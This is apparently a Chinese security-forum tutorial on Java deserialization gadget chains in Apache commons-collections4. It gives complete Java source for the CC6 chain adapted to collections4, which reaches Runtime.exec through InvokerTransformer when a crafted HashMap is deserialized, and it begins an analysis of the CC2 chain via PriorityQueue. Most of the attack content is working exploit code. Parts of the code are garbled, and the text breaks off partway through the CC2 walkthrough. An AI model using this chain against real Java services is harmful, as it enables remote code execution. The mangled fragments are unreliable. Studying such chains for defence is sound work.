06CC2、commons-collections4与漏洞修复
commons-collections的版本和分支2015年cc链的利用被提出时,apache commons collections有两个分支:
[*]commons-collections:commons-collections
[*]org.apache.commons:commons-collections4
前者为Commons Collections⽼的版本包,当时版本号是3.2.1,后 者是官⽅在2013年推出的4版本,当时版本号是4.0。两个包的groupId和artifactId都变了,所以它们并不是一个包的不同版本,而是有着相似功能的不同包。
commons-collections4中的cc1、cc3、cc6
cc1、cc3、cc6都可以在CommonsCollections4中利用,除了cc6需要做一些小改动
将LazyMap.decorate替换为了LazyMap.lazyMap,这是因为CommonsCollections4中的代码改动造成的。
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6InCommonsCollections4 {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Object expMap = new CommonCollection6().getObject();
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public Object getObject() throws NoSuchFieldException, IllegalAccessException {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
// 修改
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
return expMap;
}
}CC2
[*]入口为java.util.PriorityQueue#readObject,是一个二叉堆
[*]通过org.apache.commons.collections4.comparators.TransformingComparator#compare调用transform
java.util.PriorityQueue#readObject分析 :
// java.util.PriorityQueue#readObjectprivate void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object; // Read in all elements. for (int i = 0; i < size; i++) queue = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }// java.util.PriorityQueue#heapify恢复二叉堆状态private void heapify() { // size >>> 1个非叶子节点需要调整 // 假如最后一个叶子结点的位置为n,它的父节点的位置为n>>>1,从父节点的位置往前数全部是非叶子节点 for (int i = (size >>> 1) - 1; i >= 0; i--) // 调整每个非叶子节点 siftDown(i, (E) queue); }private void siftDown(int k, E x) { // 优先队列需要比较节点的大小,comparator是比较器 if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }// 利用提前设置的比较器private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k0) c = queue; //触发org.apache.commons.collections4.comparators.TransformingComparator#compare if (comparator.compare(x, (E) c)
页:
[1]